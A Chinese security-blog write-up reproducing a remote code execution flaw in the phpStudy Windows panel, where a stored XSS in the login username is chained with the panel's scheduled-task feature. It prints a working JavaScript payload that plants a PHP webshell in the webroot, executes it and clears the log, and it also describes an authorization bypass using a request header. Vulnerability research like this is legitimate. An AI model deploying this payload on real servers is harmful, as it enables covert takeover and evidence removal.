phpStudy小皮Windows面板RCE漏洞

admin 2023年3月31日19:17:09评论62 views字数 1753阅读5分50秒阅读模式


上方蓝色字体关注我们,一起学安全!
作者:laodu&r0ser1@Timeline Sec
本文字数:1110
阅读时长:2~4min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负


0x01 简介
phpStudy是一个PHP调试环境的程序集成包。该程序包集成最新的Apache+PHP+MySQL+phpMyAdmin+ZendOptimizer,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境.该程序不仅包括PHP调试环境,还包括了开发工具、开发手册等.总之学习PHP只需一个包。对学习PHP的新手来说,该程序包都是一个不错的选择。

0x02 漏洞概述
phpstudy 小皮面板存在RCE漏洞,通过分析和复现发现本质上是一个存储型的XSS漏洞导致的RCE。通过系统登录用户名输入处的XSS配合系统后台自动添加计划任务来实现RCE。

0x03 影响版本
小皮windows面板V0.102以及以下版本


0x04 环境搭建
下载漏洞版本
https://www.xp.cn/wenda/34721.html

phpStudy小皮Windows面板RCE漏洞

phpStudy小皮Windows面板RCE漏洞


傻瓜式安装

phpStudy小皮Windows面板RCE漏洞


获取登录信息和重置登陆密码

0x05 漏洞复现
在登陆页面 进行XSS测试

phpStudy小皮Windows面板RCE漏洞
随意输入密码 但是验证码需要正确

日志会记录登录失败的用户名,并在登录后将尝试的用户名直接显示在小皮首页当中,而这个过程是没有过滤的,也就可以进行任意xss

再次通过管理员账号登录

phpStudy小皮Windows面板RCE漏洞
该系统后台有个计划任务的功能,其中可以执行系统命令,所以结合登录处的XSS可以通过写入计划任务来达到命令执行的目的

在VPS部署需要插入的 poc.js 文件(写入目录根据本地实际情况修改)
functionpoc(){  $.get('/service/app/tasks.php?type=task_list',{},function(data){    varid=data.data[0].ID;    $.post('/service/app/tasks.php?type=exec_task',{      tid:id    },function(res2){        $.post('/service/app/log.php?type=clearlog',{                    },function(res3){},"json");                  },"json");  },"json");}functionsave(){  vardata=newObject();  data.task_id="";  data.title="test";  data.exec_cycle="1";  data.week="1";  data.day="3";  data.hour="14";  data.minute="20";  data.shell='echo "<?php @eval($_POST[123]);?>" >C:/xp/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';  $.post('/service/app/tasks.php?type=save_shell',data,function(res){    poc();  },'json');}save();

插入即可


phpStudy小皮Windows面板RCE漏洞


用admin登录 在计划任务处


phpStudy小皮Windows面板RCE漏洞


phpStudy小皮Windows面板RCE漏洞


0x06 漏洞分析


现在我们来分析一下 刚刚复现过程中请求的路径 直接定位serviceappaccount.php


phpStudy小皮Windows面板RCE漏洞

我们这里跟进Account::login($username,$pwd,$verifycode);


phpStudy小皮Windows面板RCE漏洞

可以看到22行 这里进行了Socket::request调用和8090进行通信。


phpStudy小皮Windows面板RCE漏洞


所以如果挖到ssrf即可 无条件rce,可以从非php端入手去挖掘。

好了,这里我们还要解决一个问题。在不清楚授权码的情况下如何进行攻击呢。

因为这是Workerman 所以我们直接看看 手册 然后再运行的时候调用这个进行消息回调


phpStudy小皮Windows面板RCE漏洞


所以我们只要传入Header 为X-Requested-With: XMLHttpRequest 即可不需要授权码,如下图所示。


phpStudy小皮Windows面板RCE漏洞

所以我们现在只需要写一个远程的js 然后管理员 登陆上去即可等待上线。

0x07 修复方式


更新到最新版的小皮面板,最新版小皮面板已经修复该漏洞。


phpStudy小皮Windows面板RCE漏洞

phpStudy小皮Windows面板RCE漏洞
阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行





原文始发于微信公众号(Timeline Sec):phpStudy小皮Windows面板RCE漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月31日19:17:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   phpStudy小皮Windows面板RCE漏洞http://cn-sec.com/archives/1643394.html

发表评论

匿名网友 填写信息